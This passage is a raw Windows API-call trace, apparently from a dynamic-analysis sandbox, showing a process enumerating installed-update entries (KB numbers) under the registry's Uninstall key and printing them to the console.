GetConsoleOutputCP () returned 0x1b5 [0149.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.314] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.314] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.314] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 131 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.314] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.314] GetProcessHeap () returned 0x3c0000 [0149.314] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.314] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.314] RegCloseKey (hKey=0x5c) returned 0x0 [0149.314] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x11, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.314] __iob_func () returned 0x7fefd702a80 [0149.314] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.314] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n") returned 132 [0149.314] _fileno (_File=0x7fefd702ab0) returned 1 [0149.314] _errno () returned 0x204bb0 [0149.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.314] _errno () returned 0x204bb0 [0149.314] GetFileType (hFile=0x50) returned 0x1 [0149.315] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n") returned 132 [0149.315] GetConsoleOutputCP () returned 0x1b5 [0149.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.315] GetConsoleOutputCP () returned 0x1b5 [0149.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n", lpUsedDefaultChar=0x0) returned 132 [0149.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.315] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.315] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.315] GetProcessHeap () returned 0x3c0000 [0149.315] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.315] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.315] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.315] GetProcessHeap () returned 0x3c0000 [0149.315] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.315] GetProcessHeap () returned 0x3c0000 [0149.315] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.315] GetProcessHeap () returned 0x3c0000 [0149.315] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.315] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2467173", pcbData=0x29f780*=0x14) returned 0x0 [0149.316] __iob_func () returned 0x7fefd702a80 [0149.316] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.316] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.316] _fileno (_File=0x7fefd702ab0) returned 1 [0149.316] _errno () returned 0x204bb0 [0149.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.316] _errno () returned 0x204bb0 [0149.316] GetFileType (hFile=0x50) returned 0x1 [0149.316] lstrlenW (lpString=" ") returned 4 [0149.316] GetConsoleOutputCP () returned 0x1b5 [0149.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.316] GetConsoleOutputCP () returned 0x1b5 [0149.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.316] lstrlenW (lpString="") returned 0 [0149.316] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.316] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.316] lstrlenW (lpString="(Default)") returned 9 [0149.316] __iob_func () returned 0x7fefd702a80 [0149.316] _fileno (_File=0x7fefd702ab0) returned 1 [0149.316] _errno () returned 0x204bb0 [0149.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.316] _errno () returned 0x204bb0 [0149.316] GetFileType (hFile=0x50) returned 0x1 [0149.316] lstrlenW (lpString="(Default)") returned 9 [0149.316] GetConsoleOutputCP () returned 0x1b5 [0149.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.317] GetConsoleOutputCP () returned 0x1b5 [0149.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.317] __iob_func () returned 0x7fefd702a80 [0149.317] _fileno (_File=0x7fefd702ab0) returned 1 [0149.317] _errno () returned 0x204bb0 [0149.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.317] _errno () returned 0x204bb0 [0149.317] GetFileType (hFile=0x50) returned 0x1 [0149.317] lstrlenW (lpString=" ") returned 4 [0149.317] GetConsoleOutputCP () returned 0x1b5 [0149.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.317] GetConsoleOutputCP () returned 0x1b5 [0149.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.317] __iob_func () returned 0x7fefd702a80 [0149.318] _fileno (_File=0x7fefd702ab0) returned 1 [0149.318] _errno () returned 0x204bb0 [0149.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.318] _errno () returned 0x204bb0 [0149.318] GetFileType (hFile=0x50) returned 0x1 [0149.318] lstrlenW (lpString="REG_SZ") returned 6 [0149.318] GetConsoleOutputCP () returned 0x1b5 [0149.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.318] GetConsoleOutputCP () returned 0x1b5 [0149.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.318] __iob_func () returned 0x7fefd702a80 [0149.318] _fileno (_File=0x7fefd702ab0) returned 1 [0149.318] _errno () returned 0x204bb0 [0149.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.318] _errno () returned 0x204bb0 [0149.318] GetFileType (hFile=0x50) returned 0x1 [0149.318] lstrlenW (lpString=" ") returned 4 [0149.318] GetConsoleOutputCP () returned 0x1b5 [0149.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.318] GetConsoleOutputCP () returned 0x1b5 [0149.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.319] __iob_func () returned 0x7fefd702a80 [0149.319] _fileno (_File=0x7fefd702ab0) returned 1 [0149.319] _errno () returned 0x204bb0 [0149.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.319] _errno () returned 0x204bb0 [0149.319] GetFileType (hFile=0x50) returned 0x1 [0149.319] lstrlenW (lpString="KB2467173") returned 9 [0149.319] GetConsoleOutputCP () returned 0x1b5 [0149.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2467173", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.319] GetConsoleOutputCP () returned 0x1b5 [0149.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2467173", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2467173", lpUsedDefaultChar=0x0) returned 9 [0149.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.319] __iob_func () returned 0x7fefd702a80 [0149.319] _fileno (_File=0x7fefd702ab0) returned 1 [0149.319] _errno () returned 0x204bb0 [0149.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.319] _errno () returned 0x204bb0 [0149.319] GetFileType (hFile=0x50) returned 0x1 [0149.319] lstrlenW (lpString="\n") returned 1 [0149.319] GetConsoleOutputCP () returned 0x1b5 [0149.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.320] GetConsoleOutputCP () returned 0x1b5 [0149.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.320] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.320] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.320] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.320] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.320] __iob_func () returned 0x7fefd702a80 [0149.320] _fileno (_File=0x7fefd702ab0) returned 1 [0149.320] _errno () returned 0x204bb0 [0149.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.320] _errno () returned 0x204bb0 [0149.320] GetFileType (hFile=0x50) returned 0x1 [0149.320] lstrlenW (lpString="\n") returned 1 [0149.320] GetConsoleOutputCP () returned 0x1b5 [0149.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.320] GetConsoleOutputCP () returned 0x1b5 [0149.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.320] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.320] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.320] GetProcessHeap () returned 0x3c0000 [0149.321] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.321] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.321] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.321] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 131 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.321] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.321] GetProcessHeap () returned 0x3c0000 [0149.321] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.321] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.321] RegCloseKey (hKey=0x5c) returned 0x0 [0149.321] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x12, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.321] __iob_func () returned 0x7fefd702a80 [0149.321] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.321] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n") returned 132 [0149.321] _fileno (_File=0x7fefd702ab0) returned 1 [0149.321] _errno () returned 0x204bb0 [0149.321] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.321] _errno () returned 0x204bb0 [0149.321] GetFileType (hFile=0x50) returned 0x1 [0149.321] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n") returned 132 [0149.321] GetConsoleOutputCP () returned 0x1b5 [0149.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.322] GetConsoleOutputCP () returned 0x1b5 [0149.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n", lpUsedDefaultChar=0x0) returned 132 [0149.322] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.322] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.322] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.322] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.322] GetProcessHeap () returned 0x3c0000 [0149.322] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.322] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.322] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.322] GetProcessHeap () returned 0x3c0000 [0149.322] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.322] GetProcessHeap () returned 0x3c0000 [0149.322] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.322] GetProcessHeap () returned 0x3c0000 [0149.322] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.322] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2524860", pcbData=0x29f780*=0x14) returned 0x0 [0149.322] __iob_func () returned 0x7fefd702a80 [0149.322] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.322] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.322] _fileno (_File=0x7fefd702ab0) returned 1 [0149.322] _errno () returned 0x204bb0 [0149.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.322] _errno () returned 0x204bb0 [0149.322] GetFileType (hFile=0x50) returned 0x1 [0149.322] lstrlenW (lpString=" ") returned 4 [0149.322] GetConsoleOutputCP () returned 0x1b5 [0149.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.323] GetConsoleOutputCP () returned 0x1b5 [0149.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.323] fprintf (in: 